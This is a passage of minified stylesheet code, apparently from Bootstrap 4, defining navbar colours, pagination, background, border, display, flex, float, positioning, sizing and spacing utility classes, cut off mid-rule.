.nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.5);border-color:rgba(0,0,0,.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='30' height='30' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.5%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-light .navbar-text{color:rgba(0,0,0,.5)}.navbar-light .navbar-text a{color:rgba(0,0,0,.9)}.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,.5)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255,255,255,.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,.5);border-color:rgba(255,255,255,.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='30' height='30' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.5%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-dark .navbar-text{color:rgba(255,255,255,.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.pagination{display:flex;padding-left:0;list-style:none;border-radius:.25rem}.page-link{position:relative;display:block;padding:.5rem .75rem;margin-left:-1px;line-height:1.25;color:#007bff;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{z-index:2;color:#0056b3;text-decoration:none;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:3;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.page-item.active .page-link{z-index:3;color:#fff;background-color:#007bff;border-color:#007bff}.page-item.disabled .page-link{color:#6c757d;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.3rem;border-bottom-left-radius:.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.3rem;border-bottom-right-radius:.3rem}.pagination-sm .page-link{padding:.25rem .5rem;font-size:.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#007bff!important}a.bg-primary:focus,a.bg-primary:hover,button.bg-primary:focus,button.bg-primary:hover{background-color:#0062cc!important}.bg-secondary{background-color:#6c757d!important}a.bg-secondary:focus,a.bg-secondary:hover,button.bg-secondary:focus,button.bg-secondary:hover{background-color:#545b62!important}.bg-success{background-color:#28a745!important}a.bg-success:focus,a.bg-success:hover,button.bg-success:focus,button.bg-success:hover{background-color:#1e7e34!important}.bg-info{background-color:#17a2b8!important}a.bg-info:focus,a.bg-info:hover,button.bg-info:focus,button.bg-info:hover{background-color:#117a8b!important}.bg-warning{background-color:#ffc107!important}a.bg-warning:focus,a.bg-warning:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#d39e00!important}.bg-danger{background-color:#dc3545!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-danger:hover{background-color:#bd2130!important}.bg-light{background-color:#f8f9fa!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#dae0e5!important}.bg-dark{background-color:#343a40!important}a.bg-dark:focus,a.bg-dark:hover,button.bg-dark:focus,button.bg-dark:hover{background-color:#1d2124!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.border{border:1px solid #dee2e6!important}.border-top{border-top:1px solid #dee2e6!important}.border-right{border-right:1px solid #dee2e6!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-left{border-left:1px solid #dee2e6!important}.border-0{border:0!important}.border-top-0{border-top:0!important}.border-right-0{border-right:0!important}.border-bottom-0{border-bottom:0!important}.border-left-0{border-left:0!important}.border-primary{border-color:#007bff!important}.border-secondary{border-color:#6c757d!important}.border-success{border-color:#28a745!important}.border-info{border-color:#17a2b8!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#dc3545!important}.border-light{border-color:#f8f9fa!important}.border-dark{border-color:#343a40!important}.border-white{border-color:#fff!important}.rounded-sm{border-radius:.2rem!important}.rounded{border-radius:.25rem!important}.rounded-top{border-top-left-radius:.25rem!important;border-top-right-radius:.25rem!important}.rounded-right{border-top-right-radius:.25rem!important;border-bottom-right-radius:.25rem!important}.rounded-bottom{border-bottom-right-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-left{border-top-left-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-lg{border-radius:.3rem!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:50rem!important}.rounded-0{border-radius:0!important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:flex!important}.d-inline-flex{display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:flex!important}.d-sm-inline-flex{display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:flex!important}.d-md-inline-flex{display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:flex!important}.d-lg-inline-flex{display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:flex!important}.d-xl-inline-flex{display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:flex!important}.d-print-inline-flex{display:inline-flex!important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.85714286%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{flex-direction:row!important}.flex-column{flex-direction:column!important}.flex-row-reverse{flex-direction:row-reverse!important}.flex-column-reverse{flex-direction:column-reverse!important}.flex-wrap{flex-wrap:wrap!important}.flex-nowrap{flex-wrap:nowrap!important}.flex-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-fill{flex:1 1 auto!important}.flex-grow-0{flex-grow:0!important}.flex-grow-1{flex-grow:1!important}.flex-shrink-0{flex-shrink:0!important}.flex-shrink-1{flex-shrink:1!important}.justify-content-start{justify-content:flex-start!important}.justify-content-end{justify-content:flex-end!important}.justify-content-center{justify-content:center!important}.justify-content-between{justify-content:space-between!important}.justify-content-around{justify-content:space-around!important}.align-items-start{align-items:flex-start!important}.align-items-end{align-items:flex-end!important}.align-items-center{align-items:center!important}.align-items-baseline{align-items:baseline!important}.align-items-stretch{align-items:stretch!important}.align-content-start{align-content:flex-start!important}.align-content-end{align-content:flex-end!important}.align-content-center{align-content:center!important}.align-content-between{align-content:space-between!important}.align-content-around{align-content:space-around!important}.align-content-stretch{align-content:stretch!important}.align-self-auto{align-self:auto!important}.align-self-start{align-self:flex-start!important}.align-self-end{align-self:flex-end!important}.align-self-center{align-self:center!important}.align-self-baseline{align-self:baseline!important}.align-self-stretch{align-self:stretch!important}@media (min-width:576px){.flex-sm-row{flex-direction:row!important}.flex-sm-column{flex-direction:column!important}.flex-sm-row-reverse{flex-direction:row-reverse!important}.flex-sm-column-reverse{flex-direction:column-reverse!important}.flex-sm-wrap{flex-wrap:wrap!important}.flex-sm-nowrap{flex-wrap:nowrap!important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-sm-fill{flex:1 1 auto!important}.flex-sm-grow-0{flex-grow:0!important}.flex-sm-grow-1{flex-grow:1!important}.flex-sm-shrink-0{flex-shrink:0!important}.flex-sm-shrink-1{flex-shrink:1!important}.justify-content-sm-start{justify-content:flex-start!important}.justify-content-sm-end{justify-content:flex-end!important}.justify-content-sm-center{justify-content:center!important}.justify-content-sm-between{justify-content:space-between!important}.justify-content-sm-around{justify-content:space-around!important}.align-items-sm-start{align-items:flex-start!important}.align-items-sm-end{align-items:flex-end!important}.align-items-sm-center{align-items:center!important}.align-items-sm-baseline{align-items:baseline!important}.align-items-sm-stretch{align-items:stretch!important}.align-content-sm-start{align-content:flex-start!important}.align-content-sm-end{align-content:flex-end!important}.align-content-sm-center{align-content:center!important}.align-content-sm-between{align-content:space-between!important}.align-content-sm-around{align-content:space-around!important}.align-content-sm-stretch{align-content:stretch!important}.align-self-sm-auto{align-self:auto!important}.align-self-sm-start{align-self:flex-start!important}.align-self-sm-end{align-self:flex-end!important}.align-self-sm-center{align-self:center!important}.align-self-sm-baseline{align-self:baseline!important}.align-self-sm-stretch{align-self:stretch!important}}@media (min-width:768px){.flex-md-row{flex-direction:row!important}.flex-md-column{flex-direction:column!important}.flex-md-row-reverse{flex-direction:row-reverse!important}.flex-md-column-reverse{flex-direction:column-reverse!important}.flex-md-wrap{flex-wrap:wrap!important}.flex-md-nowrap{flex-wrap:nowrap!important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-md-fill{flex:1 1 auto!important}.flex-md-grow-0{flex-grow:0!important}.flex-md-grow-1{flex-grow:1!important}.flex-md-shrink-0{flex-shrink:0!important}.flex-md-shrink-1{flex-shrink:1!important}.justify-content-md-start{justify-content:flex-start!important}.justify-content-md-end{justify-content:flex-end!important}.justify-content-md-center{justify-content:center!important}.justify-content-md-between{justify-content:space-between!important}.justify-content-md-around{justify-content:space-around!important}.align-items-md-start{align-items:flex-start!important}.align-items-md-end{align-items:flex-end!important}.align-items-md-center{align-items:center!important}.align-items-md-baseline{align-items:baseline!important}.align-items-md-stretch{align-items:stretch!important}.align-content-md-start{align-content:flex-start!important}.align-content-md-end{align-content:flex-end!important}.align-content-md-center{align-content:center!important}.align-content-md-between{align-content:space-between!important}.align-content-md-around{align-content:space-around!important}.align-content-md-stretch{align-content:stretch!important}.align-self-md-auto{align-self:auto!important}.align-self-md-start{align-self:flex-start!important}.align-self-md-end{align-self:flex-end!important}.align-self-md-center{align-self:center!important}.align-self-md-baseline{align-self:baseline!important}.align-self-md-stretch{align-self:stretch!important}}@media (min-width:992px){.flex-lg-row{flex-direction:row!important}.flex-lg-column{flex-direction:column!important}.flex-lg-row-reverse{flex-direction:row-reverse!important}.flex-lg-column-reverse{flex-direction:column-reverse!important}.flex-lg-wrap{flex-wrap:wrap!important}.flex-lg-nowrap{flex-wrap:nowrap!important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-lg-fill{flex:1 1 auto!important}.flex-lg-grow-0{flex-grow:0!important}.flex-lg-grow-1{flex-grow:1!important}.flex-lg-shrink-0{flex-shrink:0!important}.flex-lg-shrink-1{flex-shrink:1!important}.justify-content-lg-start{justify-content:flex-start!important}.justify-content-lg-end{justify-content:flex-end!important}.justify-content-lg-center{justify-content:center!important}.justify-content-lg-between{justify-content:space-between!important}.justify-content-lg-around{justify-content:space-around!important}.align-items-lg-start{align-items:flex-start!important}.align-items-lg-end{align-items:flex-end!important}.align-items-lg-center{align-items:center!important}.align-items-lg-baseline{align-items:baseline!important}.align-items-lg-stretch{align-items:stretch!important}.align-content-lg-start{align-content:flex-start!important}.align-content-lg-end{align-content:flex-end!important}.align-content-lg-center{align-content:center!important}.align-content-lg-between{align-content:space-between!important}.align-content-lg-around{align-content:space-around!important}.align-content-lg-stretch{align-content:stretch!important}.align-self-lg-auto{align-self:auto!important}.align-self-lg-start{align-self:flex-start!important}.align-self-lg-end{align-self:flex-end!important}.align-self-lg-center{align-self:center!important}.align-self-lg-baseline{align-self:baseline!important}.align-self-lg-stretch{align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{flex-direction:row!important}.flex-xl-column{flex-direction:column!important}.flex-xl-row-reverse{flex-direction:row-reverse!important}.flex-xl-column-reverse{flex-direction:column-reverse!important}.flex-xl-wrap{flex-wrap:wrap!important}.flex-xl-nowrap{flex-wrap:nowrap!important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-xl-fill{flex:1 1 auto!important}.flex-xl-grow-0{flex-grow:0!important}.flex-xl-grow-1{flex-grow:1!important}.flex-xl-shrink-0{flex-shrink:0!important}.flex-xl-shrink-1{flex-shrink:1!important}.justify-content-xl-start{justify-content:flex-start!important}.justify-content-xl-end{justify-content:flex-end!important}.justify-content-xl-center{justify-content:center!important}.justify-content-xl-between{justify-content:space-between!important}.justify-content-xl-around{justify-content:space-around!important}.align-items-xl-start{align-items:flex-start!important}.align-items-xl-end{align-items:flex-end!important}.align-items-xl-center{align-items:center!important}.align-items-xl-baseline{align-items:baseline!important}.align-items-xl-stretch{align-items:stretch!important}.align-content-xl-start{align-content:flex-start!important}.align-content-xl-end{align-content:flex-end!important}.align-content-xl-center{align-content:center!important}.align-content-xl-between{align-content:space-between!important}.align-content-xl-around{align-content:space-around!important}.align-content-xl-stretch{align-content:stretch!important}.align-self-xl-auto{align-self:auto!important}.align-self-xl-start{align-self:flex-start!important}.align-self-xl-end{align-self:flex-end!important}.align-self-xl-center{align-self:center!important}.align-self-xl-baseline{align-self:baseline!important}.align-self-xl-stretch{align-self:stretch!important}}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}@media (min-width:576px){.float-sm-left{float:left!important}.float-sm-right{float:right!important}.float-sm-none{float:none!important}}@media (min-width:768px){.float-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media (min-width:1200px){.float-xl-left{float:left!important}.float-xl-right{float:right!important}.float-xl-none{float:none!important}}.user-select-all{user-select:all!important}.user-select-auto{user-select:auto!important}.user-select-none{user-select:none!important}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:sticky!important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports (position:sticky){.sticky-top{position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mw-100{max-width:100%!important}.mh-100{max-height:100%!important}.min-vw-100{min-width:100vw!important}.min-vh-100{min-height:100vh!important}.vw-100{width:100vw!important}.vh-100{height:100vh!important}.m-0{margin:0!important}.mt-0,.my-0{margin-top:0!important}.mr-0,.mx-0{margin-right:0!important}.mb-0,.my-0{margin-bottom:0!important}.ml-0,.mx-0{margin-left:0!important}.m-1{margin:.25rem!important}.mt-1,.my-1{margin-top:.25rem!important}.mr-1,.mx-1{margin-right:.25rem!important}.mb-1,.my-1{margin-bottom:.25rem!important}.ml-1,.mx-1{margin-left:.25rem!important}.m-2{margin:.5rem!important}.mt-2,.my-2{margin-top:.5rem!important}.mr-2,.mx-2{margin-right:.5rem!important}.mb-2,.my-2{margin-bottom:.5rem!important}.ml-2,.mx-2{margin-left:.5rem!important}.m-3{margin:1rem!important}.mt-3,.my-3{margin-top:1rem!important}.mr-3,.mx-3{margin-right:1rem!important}.mb-3,.my-3{margin-bottom:1rem!important}.ml-3,.mx-3{margin-left:1rem!important}.m-4{margin:1.5rem!important}.mt-4,.my-4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!important}.ml-4,.mx-4{margin-left:1.5rem!important}.m-5{margin:3rem!important}.mt-5,.my-5{margin-top:3rem!important}.mr-5,.mx-5{margin-right:3rem!important}.mb-5,.my-5{margin-bottom:3rem!important}.ml-5,.mx-5{margin-left:3rem!important}.p-0{padding:0!important}.pt-0,.py-0{padding-top:0!important}.pr-0,.px-0{padding-right:0!important}.pb-0,.py-0{padding-bottom:0!important}.pl-0,.px-0{padding-left:0!important}.p-1{padding:.25rem!important}.pt-1,.py-1{padding-top:.25rem!important}.pr-1,.px-1{padding-right:.25rem!important}.pb-1,.py-1{padding-bottom:.25rem!important}.pl-1,.px-1{padding-left:.25rem!important}.p-2{padding:.5rem!important}.pt-2,.py-2{padding-top:.5rem!important}.pr-2,.px-2{padding-right:.5rem!important}.pb-2,.py-2{padding-bottom:.5rem!important}.pl-2,.px-2{padding-left:.5rem!important}.p-3{padding:1rem!important}.pt-3,.py-3{padding-top:1rem!important}.pr-3,.px-3{padding-right:1rem!important}.pb-3,.py-3{padding-bottom:1rem!important}.pl-3,.px-3{padding-left:1rem!important}.p-4{padding:1.5rem!important}.pt-4,.py-4{padding-top:1.5rem!important}.pr-4,.px-4{padding-right:1.5rem!important}.pb-4,.py-4{padding-bottom:1.5rem!important}.pl-4,.px-4{padding-left:1.5rem!important}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.m-n1{margin:-.25rem!important}.mt-n1,.my-n1{margin-top:-.25rem!important}.mr-n1,.mx-n1{margin-right:-.25rem!important}.mb-n1,.my-n1{margin-bottom:-.25rem!important}.ml-n1,.mx-n1{margin-left:-.25rem!important}.m-n2{margin:-.5rem!important}.mt-n2,.my-n2{margin-top:-.5rem!important}.mr-n2,.mx-n2{margin-right:-.5rem!important}.mb-n2,.my-n2{margin-bottom:-.5rem!important}.ml-n2,.mx-n2{margin-left:-.5rem!important}.m-n3{margin:-1rem!important}.mt-n3,.my-n3{margin-top:-1rem!important}.mr-n3,.mx-n3{margin-right:-1rem!important}.mb-n3,.my-n3{margin-bottom:-1rem!important}.ml-n3,.mx-n3{margin-left:-1rem!important}.m-n4{margin:-1.5rem!important}.mt-n4,.my-n4{margin-top:-1.5rem!important}.mr-n4,.mx-n4{margin-right:-1.5rem!important}.mb-n4,.my-n4{margin-bottom:-1.5rem!important}.ml-n4,.mx-n4{margin-left:-1.5rem!important}.m-n5{margin:-3rem!important}.mt-n5,.my-n5{margin-top:-3rem!important}.mr-n5,.mx-n5{margin-right:-3rem!important}.mb-n5,.my-n5{margin-bottom:-3rem!important}.ml-n5,.mx-n5{margin-left:-3rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top:auto!important}.mr-auto,.mx-auto{margin-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb-sm-0,.my-sm-0{margin-bottom:0!important}.ml-sm-0,.mx-sm-0{margin-left:0!important}.m-sm-1{margin:.25rem!important}.mt-sm-1,.my-sm-1{margin-top:.25rem!important}.mr-sm-1,.mx-sm-1{margin-right:.25rem!important}.mb-sm-1,.my-sm-1{margin-bottom:.25rem!important}.ml-sm-1,.mx-sm-1{margin-left:.25rem!important}.m-sm-2{margin:.5rem!important}.mt-sm-2,.my-sm-2{margin-top:.5rem!important}.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!important}.mb-sm-3,.my-sm-3{margin-bottom:1rem!important}.ml-sm-3,.mx-sm-3{margin-left:1rem!important}.m-sm-4{margin:1.5rem!important}.mt-sm-4,.my-sm-4{margin-top:1.5rem!important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem!important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem!important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem!important}.m-sm-5{margin:3rem!important}.mt-sm-5,.my-sm-5{margin-top:3rem!important}.mr-sm-5,.mx-sm-5{margin-right:3rem!important}.mb-sm-5,.my-sm-5{margin-bottom:3rem!important}.ml-sm-5,.mx-sm-5{margin-left:3rem!important}.p-sm-0{padding:0!important}.pt-sm-0,.py-sm-0{padding-top:0!important}.pr-sm-0,.px-sm-0{padding-right:0!important}.pb-sm-0,.py-sm-0{padding-bottom:0!important}.pl-sm-0,.px-sm-0{padding-left:0!important}.p-sm-1{padding:.25rem!important}.pt-sm-1,.py-sm-1{padding-top:.25rem!important}.pr-sm-1,.px-sm-1{padding-right:.25rem!important}.pb-sm-1,.py-sm-1{padding-bottom:.25rem!important}.pl-sm-1,.px-sm-1{padding-left:.25rem!important}.p-sm-2{padding:.5rem!important}.pt-sm-2,.py-sm-2{padding-top:.5rem!important}.pr-sm-2,.px-sm-2{padding-right:.5rem!important}.pb-sm-2,.py-sm-2{padding-bottom:.5rem!important}.pl-sm-2,.px-sm-2{padding-left:.5rem!important}.p-sm-3{padding:1rem!important}.pt-sm-3,.py-sm-3{padding-top:1rem!important}.pr-sm-3,.px-sm-3{padding-right:1rem!important}.pb-sm-3,.py-sm-3{padding-bottom:1rem!important}.pl-sm-3,.px-sm-3{padding-left:1rem!important}.p-sm-4{padding:1.5rem!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem!important}.pr-sm-4,.px-sm-4{padding-right:1.5rem!important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem!important}.pl-sm-4,.px-sm-4{padding-left:1.5rem!important}.p-sm-5{padding:3rem!important}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!important}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.m-sm-n1{margin:-.25rem!important}.mt-sm-n1,.my-sm-n1{margin-top:-.25rem!important}.mr-sm-n1,.mx-sm-n1{margin-right:-.25rem!important}.mb-sm-n1,.my-sm-n1{margin-bottom:-.25rem!important}.ml-sm-n1,.mx-sm-n1{margin-left:-.25rem!important}.m-sm-n2{margin:-.5rem!important}.mt-sm-n2,.my-sm-n2{margin-top:-.5rem!important}.mr-sm-n2,.mx-sm-n2{margin-right:-.5rem!important}.mb-sm-n2,.my-sm-n2{margin-bottom:-.5rem!important}.ml-sm-n2,.mx-sm-n2{margin-left:-.5rem!important}.m-sm-n3{margin:-1rem!important}.mt-sm-n3,.my-sm-n3{margin-top:-1rem!important}.mr-sm-n3,.mx-sm-n3{margin-right:-1rem!important}.mb-sm-n3,.my-sm-n3{margin-bottom:-1rem!important}.ml-sm-n3,.mx-sm-n3{margin-left:-1rem!important}.m-sm-n4{margin:-1.5rem!important}.mt-sm-n4,.my-sm-n4{margin-top:-1.5rem!important}.mr-sm-n4,.mx-sm-n4{margin-right:-1.5rem!important}.mb-sm-n4,.my-sm-n4{margin-bottom:-1.5rem!important}.ml-sm-n4,.mx-sm-n4{margin-left:-1.5rem!important}.m-sm-n5{margin:-3rem!important}.mt-sm-n5,.my-sm-n5{margin-top:-3rem!important}.mr-sm-n5,.mx-sm-n5{margin-right:-3rem!important}.mb-sm-n5,.my-sm-n5{margin-bottom:-3rem!important}.ml-sm-n5,.mx-sm-n5{margin-left:-3rem!important}.m-sm-auto{margin:auto!important}.mt-sm-auto,.my-sm-auto{margin-top:auto!important}.mr-sm-auto,.mx-sm-auto{margin-right:auto!important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto!important}.ml-sm-auto,.mx-sm-auto{margin-left:auto!important}}@media (min-width:768px){.m-md-0{margin:0!important}.mt-md-0,.my-md-0{margin-top:0!important}.mr-md-0,.mx-md-0{margin-right:0!important}.mb-md-0,.my-md-0{margin-bottom:0!important}.ml-md-0,.mx-md-0{margin-left:0!important}.m-md-1{margin:.25rem!important}.mt-md-1,.my-md-1{margin-top:.25rem!important}.mr-md-1,.mx-md-1{margin-right:.25rem!important}.mb-md-1,.my-md-1{margin-bottom:.25rem!important}.ml-md-1,.mx-md-1{margin-left:.25rem!important}.m-md-2{margin:.5rem!important}.mt-md-2,.my-md-2{margin-top:.5rem!important}.mr-md-2,.mx-md-2{margin-right:.5rem!important}.mb-md-2,.my-md-2{margin-bottom:.5rem!important}.ml-md-2,.mx-md-2{margin-left:.5rem!important}.m-md-3{margin:1rem!important}.mt-md-3,.my-md-3{margin-top:1rem!important}.mr-md-3,.mx-md-3{margin-right:1rem!important}.mb-md-3,.my-md-3{margin-bottom:1rem!important}.ml-md-3,.mx-md-3{margin-left:1rem!important}.m-md-4{margin:1.5rem!important}.mt-md-4,.my-md-4{margin-top:1.5rem!important}.mr-md-4,.mx-md-4{margin-right:1.5rem!important}.mb-md-4,.my-md-4{margin-bottom:1.5rem!important}.ml-md-4,.mx-md-4{margin-left:1.5rem!important}.m-md-5{margin:3rem!important}.mt-md-5,.my-md-5{margin-top:3rem!important}.mr-md-5,.mx-md-5{margin-right:3rem!important}.mb-md-5,.my-md-5{margin-bottom:3rem!important}.ml-md-5,.mx-md-5{margin-left:3rem!important}.p-md-0{padding:0!important}.pt-md-0,.py-md-0{padding-top:0!important}.pr-md-0,.px-md-0{padding-right:0!important}.pb-md-0,.py-md-0{padding-bottom:0!important}.pl-md-0,.px-md-0{padding-left:0!important}.p-md-1{padding:.25rem!important}.pt-md-1,.py-md-1{padding-top:.25rem!important}.pr-md-1,.px-md-1{padding-right:.25rem!important}.pb-md-1,.py-md-1{padding-bottom:.25rem!important}.pl-md-1,.px-md-1{padding-left:.25rem!important}.p-md-2{padding:.5rem!important}.pt-md-2,.py-md-2{padding-top:.5rem!important}.pr-md-2,.px-md-2{padding-right:.5rem!important}.pb-md-2,.py-md-2{padding-bottom:.5rem!important}.pl-md-2,.px-md-2{padding-left:.5rem!important}.p-md-3{padding:1rem!important}.pt-md-3,.py-md-3{padding-top:1rem!important}.pr-md-3,.px-md-3{padding-right:1rem!important}.pb-md-3,.py-md-3{padding-bottom:1rem!important}.pl-md-3,.px-md-3{padding-left:1rem!important}.p-md-4{padding:1.5rem!important}.pt-md-4,.py-md-4{padding-top:1.5rem!important}.pr-md-4,.px-md-4{padding-right:1.5rem!important}.pb-md-4,.py-md-4{padding-bottom:1.5rem!important}.pl-md-4,.px-md-4{padding-left:1.5rem!important}.p-md-5{padding:3rem!important}.pt-md-5,.py-md-5{padding-top:3rem!important}.pr-md-5,.px-md-5{padding-right:3rem!important}.pb-md-5,.py-md-5{padding-bottom:3rem!important}.pl-md-5,.px-md-5{padding-left:3rem!important}.m-md-n1{margin:-.25rem!important}.mt-md-n1,.my-md-n1{margin-top:-.25rem!important}.mr